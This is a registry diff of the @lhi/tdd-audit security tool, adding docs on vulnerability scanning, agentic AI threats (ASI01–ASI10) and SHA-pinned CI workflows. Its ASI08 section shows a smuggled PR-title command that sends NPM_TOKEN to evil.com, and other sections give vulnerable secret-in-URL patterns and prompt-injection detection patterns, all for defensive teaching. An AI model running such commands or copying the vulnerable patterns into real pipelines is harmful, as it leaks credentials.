@lhi/tdd-audit 1.5.0 → 1.8.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,12 +1,12 @@
1
1
  # @lhi/tdd-audit
2
2
 
3
- Security skill installer for **Claude Code, Gemini CLI, Cursor, Codex, and OpenCode**. Patches vulnerabilities using a Red-Green-Refactor exploit-test protocol — you prove the hole exists, apply the fix, and prove it's closed.
3
+ > **v1.8.0** — Security skill installer for **Claude Code, Gemini CLI, Cursor, Codex, and OpenCode**. Patches vulnerabilities using a Red-Green-Refactor exploit-test protocol — you prove the hole exists, apply the fix, and prove it's closed.
4
4
 
5
5
  ## What happens on install
6
6
 
7
7
  Running the installer does five things immediately:
8
8
 
9
- 1. **Scans your codebase** for 29 vulnerability patterns (SQL injection, IDOR, XSS, command injection, path traversal, broken auth, JWT alg:none, ReDoS, timing-unsafe comparisons, and more) and prints findings to stdout
9
+ 1. **Scans your codebase** for 34 vulnerability patterns across OWASP Top 10, mobile, agentic AI, and prompt/skill files prints a severity-ranked findings report to stdout
10
10
  2. **Scaffolds `__tests__/security/`** with a framework-matched boilerplate exploit test
11
11
  3. **Adds `test:security`** to your `package.json` scripts (Node.js projects)
12
12
  4. **Creates `.github/workflows/security-tests.yml`** so the CI gate exists from day one
@@ -31,25 +31,25 @@ node index.js
31
31
  | Claude Code | `npx @lhi/tdd-audit --local --claude` |
32
32
  | Gemini CLI / Codex / OpenCode | `npx @lhi/tdd-audit --local` |
33
33
  | With pre-commit hook | add `--with-hooks` |
34
- | Scan only (no install) | `npx @lhi/tdd-audit --scan-only` |
34
+ | Scan only (no install) | `npx @lhi/tdd-audit --scan` |
35
35
 
36
36
  ### All flags
37
37
 
38
38
  | Flag | Description |
39
39
  |---|---|
40
- | `--local` | Install skill files to the current project directory instead of `~` |
40
+ | `--local` | Install skill files into the current project instead of `~` |
41
41
  | `--claude` | Use `.claude/` instead of `.agents/` as the skill directory |
42
42
  | `--with-hooks` | Install a pre-commit hook that blocks commits if security tests fail |
43
43
  | `--skip-scan` | Skip the automatic vulnerability scan on install |
44
- | `--scan-only` | Run the vulnerability scan without installing anything |
44
+ | `--scan` / `--scan-only` | Run the vulnerability scan without installing anything |
45
45
 
46
- ### Framework Detection
46
+ ### Framework detection
47
47
 
48
48
  The installer automatically detects your project's test framework and scaffolds the right boilerplate:
49
49
 
50
50
  | Detected | Boilerplate | `test:security` command |
51
51
  |---|---|---|
52
- | `jest` / `supertest` | `sample.exploit.test.js` | `jest --testPathPattern=__tests__/security` |
52
+ | `jest` / `supertest` | `sample.exploit.test.js` | `jest --testPathPatterns=__tests__/security` |
53
53
  | `vitest` | `sample.exploit.test.vitest.js` | `vitest run __tests__/security` |
54
54
  | `mocha` | `sample.exploit.test.js` | `mocha '__tests__/security/**/*.spec.js'` |
55
55
  | `pytest.ini` / `pyproject.toml` | `sample.exploit.test.pytest.py` | `pytest tests/security/ -v` |
@@ -65,33 +65,46 @@ Once installed, trigger the autonomous audit in your agent:
65
65
  ```
66
66
 
67
67
  The agent will:
68
- 1. Scan the codebase and present a severity-ranked findings report (CRITICAL / HIGH / MEDIUM / LOW)
69
- 2. Wait for your confirmation before making any changes
70
- 3. For each confirmed vulnerability, apply the full Red-Green-Refactor loop:
68
+
69
+ 1. Detect your tech stack and scope the scan to relevant patterns only
70
+ 2. Scan the codebase and present a severity-ranked findings report (CRITICAL / HIGH / MEDIUM / LOW)
71
+ 3. **Wait for your confirmation** before making any changes
72
+ 4. For each confirmed vulnerability, apply the full Red-Green-Refactor loop:
71
73
  - **Red** — write an exploit test that fails, proving the vulnerability exists
72
74
  - **Green** — apply the targeted patch, making the test pass
73
75
  - **Refactor** — run the full suite to confirm no regressions
74
- 4. Deliver a final Remediation Summary table
76
+ 5. Apply proactive hardening controls (security headers, rate limiting, `npm audit`, secret history scan)
77
+ 6. Deliver a final Remediation Summary table
75
78
 
76
79
  The agent works one vulnerability at a time and does not advance until the current one is fully proven closed.
77
80
 
78
- ## Vulnerability Scanner
81
+ Pass `--scan` in your prompt to get the Audit Report only, without any code changes.
82
+
83
+ ## Vulnerability scanner
79
84
 
80
- The built-in scanner catches 29 patterns across OWASP Top 10 + mobile + agentic AI stacks:
85
+ The built-in scanner catches **34 patterns** across OWASP Top 10, mobile, agentic AI, and prompt/skill files:
81
86
 
82
87
  | Category | Patterns |
83
88
  |---|---|
84
- | Injection | SQL Injection, Command Injection, NoSQL Injection, Template Injection, LDAP |
85
- | Broken Auth | JWT alg:none, Broken Auth, Timing-Unsafe Comparison, Hardcoded Secret, Secret Fallback |
89
+ | Injection | SQL Injection, Command Injection, NoSQL Injection, Template Injection |
90
+ | Broken Auth | JWT Alg None, Broken Auth, Timing-Unsafe Comparison, Hardcoded Secret, Secret Fallback |
86
91
  | XSS / Output | XSS, eval() Injection, Open Redirect |
87
92
  | Crypto | Weak Crypto (MD5/SHA1), Insecure Random, TLS Bypass |
88
93
  | Server-side | SSRF, Path Traversal, XXE, Insecure Deserialization |
89
94
  | Assignment | Mass Assignment, Prototype Pollution |
90
95
  | Mobile | Sensitive Storage, WebView JS Bridge, Deep Link Injection, Android Debuggable |
91
- | Config | CORS Wildcard, Cleartext Traffic, Config Secrets |
92
- | New (v1.5) | JWT Alg None, Timing-Unsafe Comparison, ReDoS |
96
+ | Config / Infra | CORS Wildcard, Cleartext Traffic, Config Secrets, ReDoS |
97
+ | Agentic / Prompt | Deprecated CSRF Package (`csurf`), Unpinned npx MCP Server, Cleartext URL in Prompt |
98
+
99
+ ### Scanner behaviour
93
100
 
94
- ## Running security tests manually
101
+ - **Test files are flagged but labelled** — findings in `__tests__/`, `tests/`, `spec/`, or `*.test.*` files are shown with a `[test file]` badge. Patterns that mark `skipInTests: true` (e.g. Hardcoded Secret, Sensitive Log, Cleartext Traffic) are further tagged `likelyFalsePositive` and separated at the bottom of the report.
102
+ - **Prompt/skill files get their own scan** — `.md` files inside `prompts/`, `skills/`, `.claude/`, `workflows/`, plus `CLAUDE.md` and `SKILL.md`, are scanned for prompt-specific anti-patterns. Matches inside backtick code spans are suppressed to avoid noise from documentation examples.
103
+ - **`audit_status: safe` exemption** — any prompt file with `audit_status: safe` in its YAML frontmatter is skipped and listed separately so you can verify exemptions are intentional.
104
+ - **Binary and oversized files skipped** — files larger than 512 KB or containing null bytes are skipped to prevent OOM.
105
+ - **Symlinks skipped** — symlinks are never followed, preventing directory-escape on M-series Macs and shared filesystems.
106
+
107
+ ## Running security tests
95
108
 
96
109
  ```bash
97
110
  # Node.js
@@ -102,20 +115,30 @@ pytest tests/security/ -v
102
115
 
103
116
  # Go
104
117
  go test ./security/... -v
118
+
119
+ # Flutter
120
+ flutter test test/security/
105
121
  ```
106
122
 
107
123
  ## CI/CD
108
124
 
109
- The installer creates `.github/workflows/security-tests.yml` for your stack. It runs on every pull request targeting `main` — any exploit test that regresses will block the merge.
125
+ The installer creates framework-matched workflow files under `.github/workflows/`. Both `security-tests.yml` and `ci.yml` include:
126
+
127
+ - SHA-pinned `uses:` references on every action (supply chain hardening)
128
+ - `npm audit --audit-level=high` (or equivalent) to catch vulnerable dependencies
129
+ - The security exploit test suite on every push and pull request
110
130
 
111
- To add this gate to an existing CI pipeline manually:
131
+ To add the security gate to an existing pipeline manually:
112
132
 
113
133
  ```yaml
134
+ - name: Dependency audit
135
+ run: npm audit --audit-level=high
136
+
114
137
  - name: Run security exploit tests
115
- run: npm run test:security # or pytest tests/security/, or go test ./security/...
138
+ run: npm run test:security # or pytest tests/security/, flutter test test/security/
116
139
  ```
117
140
 
118
- ## Pre-commit Hook
141
+ ## Pre-commit hook
119
142
 
120
143
  The `--with-hooks` flag appends a security gate to `.git/hooks/pre-commit`. Commits are blocked if any exploit test fails:
121
144
 
@@ -123,7 +146,37 @@ The `--with-hooks` flag appends a security gate to `.git/hooks/pre-commit`. Comm
123
146
  ❌ Security tests failed. Commit blocked.
124
147
  ```
125
148
 
126
- The hook is non-destructive — it appends to any existing hook content rather than overwriting it.
149
+ The hook is non-destructive — it appends to existing hook content rather than overwriting it.
150
+
151
+ ## Agentic AI security (ASI01–ASI10)
152
+
153
+ When the project contains AI agent code, MCP configurations, or `CLAUDE.md` files, the scanner also checks for agentic-specific vulnerabilities:
154
+
155
+ | ID | Vulnerability | Risk |
156
+ |---|---|---|
157
+ | ASI01 | Prompt injection via tool output | Malicious content in web/file reads hijacks agent behaviour |
158
+ | ASI02 | CLAUDE.md / instructions file injection | Attacker-controlled system prompts override agent identity |
159
+ | ASI03 | MCP server supply chain (unpinned `npx`) | Compromised package version exfiltrates secrets |
160
+ | ASI04 | Excessive tool permissions | Agent can write files or run shell when only read is needed |
161
+ | ASI05 | Secrets in tool call arguments | Tokens/passwords logged by external tools |
162
+ | ASI06 | Unvalidated agent action execution | Agent runs irreversible actions without user confirmation |
163
+ | ASI07 | Insecure direct agent communication | Sub-agent messages trusted without verification |
164
+ | ASI08 | GitHub Actions command injection | `github.event.*` interpolated directly into `run:` steps |
165
+ | ASI09 | Unpinned GitHub Actions (supply chain) | Mutable `@v4` / `@main` tags can be hijacked |
166
+ | ASI10 | Secrets in workflow environment | Secrets printed to logs or embedded in curl URLs |
167
+
168
+ See [`docs/agentic-ai-security.md`](docs/agentic-ai-security.md) for grep patterns, examples, and fixes.
169
+
170
+ ## Documentation
171
+
172
+ | File | Contents |
173
+ |---|---|
174
+ | [`docs/scanner.md`](docs/scanner.md) | How the scanner works — architecture, detection logic, false-positive handling |
175
+ | [`docs/vulnerability-patterns.md`](docs/vulnerability-patterns.md) | All 34 patterns with descriptions, grep signatures, and fix pointers |
176
+ | [`docs/tdd-protocol.md`](docs/tdd-protocol.md) | The Red-Green-Refactor protocol in full, with framework templates |
177
+ | [`docs/agentic-ai-security.md`](docs/agentic-ai-security.md) | ASI01–ASI10 agentic AI vulnerability reference |
178
+ | [`docs/hardening.md`](docs/hardening.md) | Phase 4 proactive hardening controls |
179
+ | [`docs/ci-cd.md`](docs/ci-cd.md) | CI/CD integration guide for all supported stacks |
127
180
 
128
181
  ## License
129
182
 
package/SKILL.md CHANGED
@@ -53,7 +53,7 @@ jobs:
53
53
  security-tests:
54
54
  runs-on: ubuntu-latest
55
55
  steps:
56
- - uses: actions/checkout@v3
56
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
57
57
  - name: Install dependencies
58
58
  run: npm ci
59
59
  - name: Run Security Exploit Tests
@@ -0,0 +1,202 @@
1
+ # Agentic AI Security (ASI01–ASI10)
2
+
3
+ When the project contains AI agent code, MCP server configurations, CLAUDE.md files, or tool-calling patterns, the auto-audit also checks for agentic-specific vulnerabilities. These are harder to spot than traditional web vulnerabilities but carry severe consequences — data exfiltration via tool abuse, agent hijacking, supply chain via MCP.
4
+
5
+ ---
6
+
7
+ ## ASI01 — Prompt Injection via Tool Output
8
+
9
+ **What:** Malicious text in tool results (web scrapes, file reads, search results) that instructs the agent to perform unauthorized actions.
10
+
11
+ **Grep for:**
12
+ ```
13
+ fetch(.*then.*res\.text # agent reading raw web content into prompt
14
+ readFile.*utf8.*then # file content fed directly to model
15
+ tool_result.*content # MCP tool output injected into context
16
+ ```
17
+
18
+ **Fix:** Sanitize tool outputs before injecting into prompt context. Treat all content from web fetches, file reads, and search results as untrusted data — never as instructions.
19
+
20
+ ---
21
+
22
+ ## ASI02 — CLAUDE.md / Instructions File Injection
23
+
24
+ **What:** Attacker-controlled files (`CLAUDE.md`, `.cursorrules`, system prompts) that override the agent's behavior or extract secrets.
25
+
26
+ **Grep for:**
27
+ ```
28
+ CLAUDE\.md # ensure CLAUDE.md doesn't accept untrusted input
29
+ \.cursorrules # check cursor rules for malicious overrides
30
+ system_prompt.*file # system prompt loaded from a user-supplied path
31
+ ```
32
+
33
+ **Fix:** `CLAUDE.md` must be under version control and reviewed on every commit. Never load system prompts from user-supplied paths. Treat the file as code, not configuration.
34
+
35
+ ---
36
+
37
+ ## ASI03 — MCP Server Supply Chain Risk
38
+
39
+ **What:** MCP servers installed via `npx` or unpinned package references that can execute arbitrary code in the agent's context.
40
+
41
+ **Grep for:**
42
+ ```
43
+ mcpServers # review all MCP server configurations
44
+ npx.*mcp # npx-executed MCP servers (not pinned)
45
+ "command".*"npx" # dynamic npx MCP invocations
46
+ ```
47
+
48
+ **Fix:** Pin all MCP server packages to exact versions. Prefer locally-installed servers over `npx`:
49
+
50
+ ```json
51
+ // settings.json — safe pattern
52
+ {
53
+ "mcpServers": {
54
+ "filesystem": {
55
+ "command": "node",
56
+ "args": ["/usr/local/lib/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js"]
57
+ }
58
+ }
59
+ }
60
+ ```
61
+
62
+ ---
63
+
64
+ ## ASI04 — Excessive Tool Permissions
65
+
66
+ **What:** Agent granted filesystem write, shell exec, or network send permissions when the task only requires read access.
67
+
68
+ **Grep for:**
69
+ ```
70
+ allow.*Write.*true # broad write permissions granted
71
+ bash.*permission.*allow # shell execution permitted
72
+ tools.*\["bash" # bash tool in agent tool list
73
+ ```
74
+
75
+ **Fix:** Apply the principle of least privilege. Grant only the minimum tool set required for the task. For automated CI agents, use a dedicated low-privilege service account with no write access to source files.
76
+
77
+ ---
78
+
79
+ ## ASI05 — Sensitive Data in Tool Calls
80
+
81
+ **What:** Agent passes secrets, PII, or auth tokens to external tools (web search, APIs) where they may be logged or leaked.
82
+
83
+ **Grep for:**
84
+ ```
85
+ tool_call.*password # password in tool argument
86
+ tool_call.*token # token passed to external tool
87
+ messages.*secret # secret embedded in model messages
88
+ ```
89
+
90
+ **Fix:** Scrub secrets from all tool arguments before calling. Pass credentials via environment variables, never via prompt context.
91
+
92
+ ---
93
+
94
+ ## ASI06 — Unvalidated Agent Action Execution
95
+
96
+ **What:** Agent executes shell commands, file writes, or API calls without confirming with the user when the action has significant side effects.
97
+
98
+ **Grep for:**
99
+ ```
100
+ exec.*tool_result # shell exec driven by tool output
101
+ writeFile.*agent # agent writing files autonomously
102
+ http\.post.*tool_call # agent making POST requests without confirmation
103
+ ```
104
+
105
+ **Fix:** For irreversible or high-blast-radius actions, the agent must confirm with the user before executing. Classify actions as: read-only (proceed freely), local reversible (proceed with logging), or destructive/external (require confirmation).
106
+
107
+ ---
108
+
109
+ ## ASI07 — Insecure Direct Agent Communication
110
+
111
+ **What:** Agent-to-agent messages that trust the calling agent's identity without verification, enabling privilege escalation.
112
+
113
+ **Grep for:**
114
+ ```
115
+ agent_message.*role.*user # sub-agent message injected as user role
116
+ from_agent.*trust # inter-agent trust without verification
117
+ orchestrator.*execute # orchestrator passing actions directly to sub-agent
118
+ ```
119
+
120
+ **Fix:** Treat messages from sub-agents with the same skepticism as user input. Validate the source and scope of all inter-agent instructions before acting.
121
+
122
+ ---
123
+
124
+ ## ASI08 — GitHub Actions Command Injection
125
+
126
+ **What:** User-controlled input (PR title, branch name, issue body) injected into GitHub Actions `run:` steps via `${{ github.event.* }}`.
127
+
128
+ **Grep for** (in `.github/workflows/*.yml`):
129
+ ```
130
+ \$\{\{ github\.event\.pull_request\.title
131
+ \$\{\{ github\.event\.issue\.body
132
+ \$\{\{ github\.head_ref
133
+ \$\{\{ github\.event\.comment\.body
134
+ run:.*\$\{\{
135
+ ```
136
+
137
+ **Vulnerable pattern:**
138
+ ```yaml
139
+ - name: Echo PR title
140
+ run: echo "${{ github.event.pull_request.title }}"
141
+ # Attacker submits PR titled: foo"; curl evil.com/exfil?t=$NPM_TOKEN; echo "
142
+ ```
143
+
144
+ **Safe pattern:**
145
+ ```yaml
146
+ - name: Echo PR title
147
+ env:
148
+ TITLE: ${{ github.event.pull_request.title }}
149
+ run: echo "$TITLE" # shell variable — no Actions interpolation
150
+ ```
151
+
152
+ ---
153
+
154
+ ## ASI09 — Unpinned GitHub Actions (Supply Chain)
155
+
156
+ **What:** Using `@v4` or `@main` action refs instead of full commit SHAs. A compromised tag can exfiltrate `NPM_TOKEN`, `AWS_ACCESS_KEY_ID`, or other secrets.
157
+
158
+ **Grep for** (in `.github/workflows/*.yml`):
159
+ ```
160
+ uses:.*@v\d
161
+ uses:.*@main
162
+ uses:.*@master
163
+ ```
164
+
165
+ **Fix:** Pin every `uses:` to a full 40-character commit SHA with the version as a comment:
166
+
167
+ ```yaml
168
+ # Vulnerable
169
+ - uses: actions/checkout@v4
170
+
171
+ # Safe
172
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
173
+ ```
174
+
175
+ All workflow templates installed by `@lhi/tdd-audit` ship SHA-pinned. The security test `sec-05-unpinned-action-in-docs.test.js` enforces this.
176
+
177
+ ---
178
+
179
+ ## ASI10 — Secrets in Workflow Environment
180
+
181
+ **What:** Secrets printed to logs, passed as positional arguments, or embedded in URLs in CI workflows.
182
+
183
+ **Grep for** (in `.github/workflows/*.yml`):
184
+ ```
185
+ echo.*secrets\. # secret echoed to log
186
+ run:.*\$\{\{ secrets\. # secret interpolated inline into run step
187
+ curl.*\$\{\{ secrets\. # secret in curl URL (leaks in logs)
188
+ ```
189
+
190
+ **Vulnerable pattern:**
191
+ ```yaml
192
+ - run: curl https://api.example.com?key=${{ secrets.API_KEY }}
193
+ # Full URL including secret appears in GitHub Actions log
194
+ ```
195
+
196
+ **Safe pattern:**
197
+ ```yaml
198
+ - name: Call API
199
+ env:
200
+ API_KEY: ${{ secrets.API_KEY }}
201
+ run: curl -H "Authorization: $API_KEY" https://api.example.com
202
+ ```
package/docs/ci-cd.md ADDED
@@ -0,0 +1,169 @@
1
+ # CI/CD Integration Guide
2
+
3
+ `@lhi/tdd-audit` installs framework-matched GitHub Actions workflow templates on first run. This document covers what ships, how to add the gate to an existing pipeline, and what each template does.
4
+
5
+ ---
6
+
7
+ ## What the installer creates
8
+
9
+ | File | When created |
10
+ |---|---|
11
+ | `.github/workflows/security-tests.yml` | Always (if it doesn't already exist) |
12
+ | `.github/workflows/ci.yml` | Always (if it doesn't already exist) |
13
+
14
+ Both files are only written if they don't already exist — the installer never overwrites your existing CI configuration.
15
+
16
+ ---
17
+
18
+ ## Installed workflow templates
19
+
20
+ All templates ship with:
21
+ - Every `uses:` pinned to a full 40-character commit SHA (supply chain hardening, ASI09)
22
+ - A dependency audit step (`npm audit --audit-level=high`, `pip-audit`, or `govulncheck`)
23
+ - The security exploit test suite run on every push and pull request
24
+
25
+ ### Node.js (jest / vitest / mocha)
26
+
27
+ **`.github/workflows/security-tests.yml`**
28
+ ```yaml
29
+ name: Security Tests
30
+ on:
31
+ push: { branches: [main, master] }
32
+ pull_request: { branches: [main, master] }
33
+ jobs:
34
+ security-tests:
35
+ runs-on: ubuntu-latest
36
+ steps:
37
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
38
+ - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
39
+ with: { node-version: '20', cache: 'npm' }
40
+ - run: npm ci
41
+ - run: npm audit --audit-level=high
42
+ - run: npm run test:security
43
+ ```
44
+
45
+ **`.github/workflows/ci.yml`**
46
+ Runs the full test suite on Node.js 18 / 20 / 22, uploads coverage as an artifact.
47
+
48
+ ### Python
49
+
50
+ **`security-tests.python.yml`** — runs `pytest tests/security/ -v` on Python 3.12
51
+ **`ci.python.yml`** — matrix across Python 3.10 / 3.11 / 3.12, runs `ruff` lint and `pytest --cov`
52
+
53
+ ### Go
54
+
55
+ **`security-tests.go.yml`** — runs `go test ./security/... -v` on Go 1.22
56
+ **`ci.go.yml`** — matrix across Go 1.21 / 1.22 / 1.23, runs `staticcheck` and `go test ./...` with coverage
57
+
58
+ ### Flutter / Dart
59
+
60
+ **`security-tests.flutter.yml`** — runs `flutter test test/security/` with `subosito/flutter-action` (SHA-pinned)
61
+ **`ci.flutter.yml`** — runs `dart analyze`, `dart format`, `flutter test --coverage`
62
+
63
+ ---
64
+
65
+ ## Adding to an existing pipeline
66
+
67
+ Minimum addition — add these two steps to your existing workflow after `npm ci` (or language equivalent):
68
+
69
+ ```yaml
70
+ - name: Dependency audit
71
+ run: npm audit --audit-level=high
72
+
73
+ - name: Security exploit tests
74
+ run: npm run test:security
75
+ ```
76
+
77
+ For Python:
78
+ ```yaml
79
+ - name: Dependency audit
80
+ run: pip install pip-audit && pip-audit
81
+
82
+ - name: Security exploit tests
83
+ run: pytest tests/security/ -v
84
+ ```
85
+
86
+ For Go:
87
+ ```yaml
88
+ - name: Dependency audit
89
+ run: |
90
+ go install golang.org/x/vuln/cmd/govulncheck@latest
91
+ govulncheck ./...
92
+
93
+ - name: Security exploit tests
94
+ run: go test ./security/... -v
95
+ ```
96
+
97
+ ---
98
+
99
+ ## Pre-commit hook (optional)
100
+
101
+ Install with `--with-hooks`:
102
+
103
+ ```bash
104
+ npx @lhi/tdd-audit --with-hooks
105
+ ```
106
+
107
+ This appends to `.git/hooks/pre-commit`:
108
+
109
+ ```sh
110
+ # tdd-remediation: security gate
111
+ npm run test:security --silent
112
+ if [ $? -ne 0 ]; then
113
+ printf "\n\033[0;31m❌ Security tests failed. Commit blocked.\033[0m\n"
114
+ exit 1
115
+ fi
116
+ ```
117
+
118
+ The hook is non-destructive — it appends to existing hook content and does not overwrite it. If the project is not a git repository, the hook installation is skipped with a warning.
119
+
120
+ ---
121
+
122
+ ## Supply chain hardening in workflows
123
+
124
+ All installed workflows pin action refs to full commit SHAs. If you add new actions manually, use SHA refs:
125
+
126
+ ```yaml
127
+ # Find the SHA for any action tag:
128
+ # 1. Go to github.com/actions/checkout/releases
129
+ # 2. Click the tag → copy the full commit SHA from the URL or git log
130
+
131
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
132
+ ```
133
+
134
+ To audit your existing workflows for unpinned refs:
135
+
136
+ ```bash
137
+ grep -rn "uses:.*@v\|uses:.*@main\|uses:.*@master" .github/workflows/
138
+ ```
139
+
140
+ The security test `sec-05-unpinned-action-in-docs.test.js` enforces that documentation examples in this repo stay SHA-pinned as well.
141
+
142
+ ---
143
+
144
+ ## Preventing secrets from leaking in CI
145
+
146
+ Always pass secrets as environment variables — never interpolate them inline:
147
+
148
+ ```yaml
149
+ # Vulnerable — secret appears in the Actions log as part of the URL
150
+ - run: curl https://api.example.com?token=${{ secrets.API_TOKEN }}
151
+
152
+ # Safe
153
+ - name: Call API
154
+ env:
155
+ API_TOKEN: ${{ secrets.API_TOKEN }}
156
+ run: curl -H "Authorization: Bearer $API_TOKEN" https://api.example.com
157
+ ```
158
+
159
+ Similarly, never interpolate `github.event.*` values directly into `run:` steps (see [ASI08](agentic-ai-security.md#asi08--github-actions-command-injection)):
160
+
161
+ ```yaml
162
+ # Vulnerable — PR title with shell metacharacters is injected
163
+ - run: echo "PR: ${{ github.event.pull_request.title }}"
164
+
165
+ # Safe
166
+ - env:
167
+ PR_TITLE: ${{ github.event.pull_request.title }}
168
+ run: echo "PR: $PR_TITLE"
169
+ ```